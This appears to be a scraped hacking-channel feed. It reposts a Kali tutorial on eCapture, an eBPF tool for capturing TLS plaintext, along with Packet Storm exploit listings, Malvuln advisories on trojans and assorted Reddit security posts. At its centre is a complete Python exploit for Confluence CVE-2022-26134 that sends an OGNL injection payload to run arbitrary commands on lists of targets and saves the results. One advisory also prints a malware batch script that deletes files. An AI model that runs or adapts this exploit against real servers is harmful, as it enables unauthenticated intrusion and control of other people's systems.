Kali Linux Tutorials
Ecapture : Capture SSL/TLS Text Content Without CA Cert By eBPF

eCapture is a tool to capture SSL/TLS text content without CA cert Using eBPF.How eCapture workshttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyqHl3BxOoNkTlX0Bdgt5F7ceNM_kEZ5vU52rwVaXetgdvZq9FU4R467ZhGsy2OkTOArTVeRWnl1nwhjKk6otyC5Eg8XCnCpMKW0yV5OBsMlzcXfpIfBlMpT6LB78bZSCcOH45h_JO-AsZDha7a7glA8iYbDMNFgHM0Lo_k6vddKmdTss6CMTjnHgo/s1333/16.png
* SSL/TLS text context capture, support openssl\libressl\boringssl\gnutls\nspr(nss) libraries.
* bash audit, capture bash command for Host Security Audit.
* mysql query SQL audit, support mysqld 5.6\5.7\8.0, and mariadDB. eCapture Architecurehttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdiqmWAKH3urE_DuRs_TcPpjh3IyA3uGxurega8lMJ_LHoOy5KZAdy72_KN2AsBECT-gbTkEqALzd0QQRE8VDEkxC3RhN1t5vZJ7dJVjGGrK9JMJmVskV0G2xpEO0C-ZicdVhwObkgt7sQbdwg-7s3D7okFnjk7caoZszp44h9eJrXujD_fpr8G9ek/s1200/ecapture-architecture.png Getting starteduse ELF binary fileDownload ELF zip file release , unzip and use by command ./ecapture --help.

* Linux kernel version >= 4.18
* Enable BTF BPF Type Format (BTF) (Optional, 2022-04-17) check your server BTF configcfc4n@vm-server:~$# uname -r
4.18.0-305.3.1.el8.x86_64
cfc4n@vm-server:~$# cat /boot/config-uname -r | grep CONFIG_DEBUG_INFO_BTF
CONFIG_DEBUG_INFO_BTF=y tls commandcapture tls text context. Step 1:

./ecapture tls –hex

Step 2:

curl https://github.com libressl&boringsslfor installed libressl, libssl.so.52 is the dynamic ssl lib
vm@vm-server:~$ ldd /usr/local/bin/openssl
linux-vdso.so.1 (0x00007ffc82985000)
libssl.so.52 => /usr/local/lib/libssl.so.52 (0x00007f1730f9f000)
libcrypto.so.49 => /usr/local/lib/libcrypto.so.49 (0x00007f1730d8a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1730b62000)
/lib64/ld-linux-x86-64.so.2 (0x00007f17310b2000)
use the libssl to config the libssl.so path
vm@vm-server:~$ sudo ./ecapture tls –libssl=”/usr/local/lib/libssl.so.52″ –hex
in another terminal, use the command, then type some string, watch the output of ecapture
vm@vm-server:~$ /usr/local/bin/openssl s_client -connect github.com:443
for installed boringssl, usage is the same
/path/to/bin/bssl s_client -connect github.com:443 bash commandcapture bash command.

ps -ef | grep foo uprobe HOOKopenssl\libressl\boringssl hookeCapture hookSSL_write \ SSL_readfunction of shared library /lib/x86_64-linux-gnu/libssl.so.1.1. get text context, and send message to user space by eBPF maps.

Probes: []manager.Probe{ { Section: “uprobe/SSL_write”, EbpfFuncName: “probe_entry_SSL_write”, AttachToFuncName: “SSL_write”, //UprobeOffset: 0x386B0, BinaryPath: “/lib/x86_64-linux-gnu/libssl.so.1.1”, }, { Section: “uretprobe/SSL_write”, EbpfFuncName: “probe_ret_SSL_write”, AttachToFuncName: “SSL_write”, //UprobeOffset: 0x386B0, BinaryPath: “/lib/x86_64-linux-gnu/libssl.so.1.1”, }, { Section: “uprobe/SSL_read”, EbpfFuncName: “probe_entry_SSL_read”, AttachToFuncName: “SSL_read”, //UprobeOffset: 0x38380, BinaryPath: “/lib/x86_64-linux-gnu/libssl.so.1.1”, }, { Section: “uretprobe/SSL_read”, EbpfFuncName: “probe_ret_SSL_read”, AttachToFuncName: “SSL_read”, //UprobeOffset: 0x38380, BinaryPath: “/lib/x86_64-linux-gnu/libssl.so.1.1”, }, /*/
}, bash readline.so hookhook /bin/bashsymbol name readline. How to compileLinux Kernel: >= 4.18. Tools* golang 1.16
* clang 9.0.0
* cmake 3.18.4
* clang backend: llvm 9.0.0
* kernel config:CONFIG_DEBUG_INFO_BTF=y (Optional, 2022-04-17) commandgit clone git@github.com:ehids/ecapture.git
cd ecapture
make
bin/ecapture –help compile without BTFeCapture support NO BTF with command make nocoreto compile on 2022/04/17.

make nocore
bin/ecapture –help Download
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Aurora Inflation Spend Bugfix Review: $6m Payout

SummaryContinue reading on Immunefi »
Read more...

Exploit Collector
Confluence OGNL Injection Remote Code Execution

https://1.bp.blogspot.com/-ZbrkU7MDvJM/WWlvS7x--YI/AAAAAAAAINk/cO6KWZj5UFE3dAHctfHPCIXMYdjzVDfigCLcBGAs/s1600/h40.png Confluence suffers from a pre-authentication remote code execution vulnerability that is leveraged via OGNL injection. All 7.4.17 versions before 7.18.1 are affected.

SHA-256 | 26aa29ff2f763421c60482664f517397136737aa76c3603580bd9bdd40a7e339Download #!/usr/bin/python3

# Exploit Title: Confluence Pre-Auth Remote Code Execution via OGNL Injection
# Google Dork: N/A
# Date: 06/006/2022
# Exploit Author: h3v0x
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: All < 7.4.17 versions before 7.18.1
# Tested on: -
# CVE : CVE-2022-26134
# https://github.com/h3v0x/CVE-2022-26134

import sys
import requests
import optparse
import multiprocessing

from requests.packages import urllib3
from requests.exceptions import MissingSchema, InvalidURL
urllib3.disable_warnings()

requestEngine = multiprocessing.Manager()
session = requests.Session()

global paramResults
paramResults = requestEngine.list()
globals().update(locals())

def spiderXpl(url):
globals().update(locals())
if not url.startswith('http'):
url='http://'+url

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"}

try:
response = requests.get(url + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22'+optionsOpt.command+'%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/', headers=headers, verify=False, allow_redirects=False)
if(response.status_code == 302):
print('Found: '+url+' // '+ response.headers['X-Cmd-Response'])

inputBuffer = str(response.headers['X-Cmd-Response'])
paramResults.append('Vulnerable application found:'+url+'\n''Command result:'+inputBuffer+'\n')
else:
pass

except requests.exceptions.ConnectionError:
print('[x] Failed to Connect: '+url)
pass
except multiprocessing.log_to_stderr:
pass
except KeyboardInterrupt:
print('[!] Stoping exploit...')
exit(0)
except (MissingSchema, InvalidURL):
pass
def banner():
print('[-] CVE-2022-26134')
print('[-] Confluence Pre-Auth Remote Code Execution via OGNL Injection \n')
def main():
banner()

globals().update(locals())

sys.setrecursionlimit(100000)

if not optionsOpt.filehosts:
url = optionsOpt.url
spiderXpl(url)
else:
f = open(optionsOpt.filehosts)
urls = map(str.strip, f.readlines())

multiReq = multiprocessing.Pool(optionsOpt.threads_set)
try:
multiReq.map(spiderXpl, urls)
multiReq.close()
multiReq.join()
except UnboundLocalError:
pass
except KeyboardInterrupt:
exit(0)
if optionsOpt.output:
print("\n[!] Saving the output result in: %s" % optionsOpt.output)

with open(optionsOpt.output, "w") as f:
for result in paramResults:
f.write("%s\n" % result)
f.close()

if __name__ == "__main__":
parser = optparse.OptionParser()

parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)')
parser.add_option('-f', '--file', dest="filehosts", help='example.txt')
parser.add_option('-t', '--threads', dest="threads_set", type=int,default=10)
parser.add_option('-m', '--maxtimeout', dest="timeout", type=int,default=8)
parser.add_option('-o', '--output', dest="output", type=str, default='exploit_result.txt')
parser.add_option('-c', '--cmd', dest="command", type=str, default='id')
optionsOpt, args = parser.parse_args()

main() Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Confluence OGNL Injection Proof Of Concept

https://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png
Proof of concept script that exploits the remote code execution vulnerability affecting Atlassian Confluence versions 7.18 and below. The OGNL injection vulnerability allows an unauthenticated user to execute arbitrary code on a Confluence Server or Data Center instance. All supported versions of Confluence Server and Data Center are affected. Confluence Server and Data Center versions after 1.3.0 and below 7.18.1 are affected. The vulnerability has a CVSS score of 10 out of 10 for criticality.

SHA-256 | af35a5a0af240395f62e977601885f29387ee4fc958081d1910e6f6f0d3d428a

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Trojan-Banker.Win32.Banker.agzg MVID-2022-0608 Insecure Permissions

https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
Trojan-Banker.Win32.Banker.agzg malware suffers from an insecure permissions vulnerability.

SHA-256 | 1876a4e6434c2516144ce66e1f105fb0ab5f8cd4fd16271c066310d836f2d9c2

Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
https://malvuln.com/advisory/ef1e59148c9a902ae5454760aaab73fe.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Banker.Win32.Banker.agzg
Vulnerability: Insecure Permissions
Description: The malware writes a PE file to c drive granting change (C)
permissions to the authenticated user group. Standard users can rename the
executable dropped by the malware to disable it or replace it with their
own executable. Then wait for a privileged user to logon to the infected
machine to potentially escalate privileges.
Family: Banker
Type: PE32
MD5: ef1e59148c9a902ae5454760aaab73fe
Vuln ID: MVID-2022-0608
Disclosure: 06/06/2022
Exploit/PoC:
C:\>cacls tuto.exe
C:\tuto.exe BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
C:\>dir tuto.exe
Volume in drive C has no label.

Directory of C:\

05/04/2022 02:56 AM 14,336 tuto.exe
1 File(s) 14,336 bytes
Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Trojan-Proxy.Win32.Symbab.o MVID-2022-0610 Heap Corruption

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Through The Wire CVE-2022-26134 Confluence Proof Of Concept

https://2.bp.blogspot.com/-QRNaohEgzXY/WWlvKewId7I/AAAAAAAAIL8/tdiAF5DdWR4NRfdTdLr92btKcmbTDzxHQCLcBGAs/s1600/h147.png
Through the Wire is a proof of concept exploit for CVE-2022-26134, an OGNL injection vulnerability affecting Atlassian Confluence Server and Data Center versions 7.13.6 LTS and below and versions 7.18.0 "Latest" and below. This was originally a zero-day exploited in-the-wild.

SHA-256 | 942e5b3f32027294cb480a1f6e34ca8ed1933380c4aa4a79161e45a5c6ec7cbc

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Trojan-Banker.Win32.Banbra.cyt MVID-2022-0611 Insecure Permissions

https://4.bp.blogspot.com/-1sVwQJsRVpo/WWlvgaUDftI/AAAAAAAAIQM/9m_QfduSdAQi14Fs6kLQe2-YLO5Bx1iKQCLcBGAs/s1600/h87.png
Trojan-Banker.Win32.Banbra.cyt malware suffers from an insecure permissions vulnerability.

SHA-256 | 59d78448228c37d3ef646c8d1875471e29b3ea9f4f7baf50d7b0322510692ded

Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/e0f2bee25dd103d92e91e895e313ec34.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Banker.Win32.Banbra.cyt
Vulnerability: Insecure Permissions
Description: The malware writes a batch script ".bat" file to c drive granting change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Family: Banbra
Type: PE32
MD5: e0f2bee25dd103d92e91e895e313ec34
Vuln ID: MVID-2022-0611
Disclosure: 06/06/2022

Exploit/PoC:
C:\>cacls autoexec.bat
C:\autoexec.bat BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
C:\>type autoexec.bat
@echo off
SET princix=del
SET pasta1=c:\windows\downlo~1\gb*.*
SET pasta2=c:\windows\downlo~1\*.g??
SET pasta3=c:\windows\downlo~1\g*.*
SET pasta4=c:\arquiv~1\GbPlugin\g*.*
SET pasta5=c:\arquiv~1\GbPlugin\b*.*
SET pasta6=c:\arquiv~1\GbPlugin\c*.*
SET pasta55=c:\arquiv~1\GbPlugin\u*.*
SET pasta7=c:\windows\downlo~1\Ab*.*
SET pasta8=c:\windows\downlo~1\b*.*
SET pasta9=c:\windows\downlo~1\Ab*.*
SET pasta10=c:\progra~1\GbPlugin\g*.*
SET pasta11=c:\progra~1\GbPlugin\b*.*
SET pasta12=c:\progra~1\GbPlugin\c*.*
SET pasta56=c:\progra~1\GbPlugin\u*.*
SET pasta13=C:\progra~1\Scpad\s*.*
SET pasta14=c:\arquiv~1\Scpad\s*.*
SET pasta15=C:\WINDOWS\system32\scpsssh*.*
%princix% %pasta1%
%princix% %pasta2%
%princix% %pasta3%
%princix% %pasta4%
%princix% %pasta5%
%princix% %pasta6%
%princix% %pasta7%
%princix% %pasta8%
%princix% %pasta9%
%princix% %pasta10%
%princix% %pasta11%
%princix% %pasta12%
%princix% %pasta13%
%princix% %pasta14%
%princix% %pasta15%
%princix% %pasta55%
%princix% %pasta56%

C:\>
C:\>dir autoexec.bat
Volume in drive C has no label.

Directory of C:\

05/24/2022 02:26 AM 1,028 autoexec.bat
1 File(s) 1,028 bytes
0 Dir(s) 24,498,929,664 bytes free
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Marketplace for non-0-day edploits

There are a few big names in the space of buying and selling 0-day exploits as could be seen in the news. The bigest would be Zerodium. My question is are there any other companies buying and selling exploits for already published vulnerabilities but that do not yet have an exploit available?
I must assume that there would be amarket for that, especially if we talk about recent vulnerabilities.

submitted by /u/reujea0
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Password Harvesting, Industrial Exploitation, and Reverse Shells, Oh My! Repository of Red Teaming TTPs

https://external-preview.redd.it/FjUuYjEb3vvIJiLhuLhJ9McDCCv4-H9pEiUMV_eHy6w.jpg?width=640&crop=smart&auto=webp&s=bbbde19c5b96497c46407974ae962a9215629200 submitted by /u/entropydaemon6
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Can't choose disk file on virtualbox

On Windows 10 when I open virtualbox and choose the disk file it doesnt recognize kali linux and if I try to search it and add it then it gives me an error, which I posted below. I went into the settings of the virtual machine and almost all of them are disabled (I can't click or enable them).

I'm not sure if the virtualization is enabled since I cant check the bios of the pc (maybe there is another way), and this might be the problem. In task manager I checked and it says virtualisation is enabled, but maybe I heard it only works through bios.

​

Could not get the storage format of the medium 'C:\Program Files\Kali Linux\kali-linux-2022.2-virtualbox-amd64.ova' (VERR_NOT_SUPPORTED).

Result Code:

VBOX_E_IPRT_ERROR (0x80BB0005)

Component:

MediumWrap

Interface:

IMedium {ad47ad09-787b-44ab-b343-a082a3f2dfb1}

Callee:

IVirtualBox {d0a0163f-e254-4e5b-a1f2-011cf991c38d}

Callee RC:

VBOX_E_OBJECT_NOT_FOUND (0x80BB0001)

submitted by /u/zignet3
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
The Surreal Case of a C.I.A. Hacker’s Revenge

https://external-preview.redd.it/ArjakZcbA3AQPTNkR00o2iGa1nEqWI8-b8QvbXIT8eE.jpg?width=640&crop=smart&auto=webp&s=87258239a7aa8e500c0270b33cbcf7f7bb570c5b submitted by /u/Zee2A
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

resources for issue definition
https://www.reddit.com/r/Pentesting/comments/v6xcz9/resources_for_issue_definition/

I'm trying to write up my first report and I've my attack path sorted. Having difficulty converting my findings to issues. I've found https://portswigger.net/kb/issues. Have you any other resources like these to assist pairing the findings to issues? submitted by /u/MrFoxes (https://www.reddit.com/user/MrFoxes)
[link] (https://www.reddit.com/r/Pentesting/comments/v6xcz9/resources_for_issue_definition/) [comments] (https://www.reddit.com/r/Pentesting/comments/v6xcz9/resources_for_issue_definition/)

___________________________
@hacking_Attack
@Hacking_Video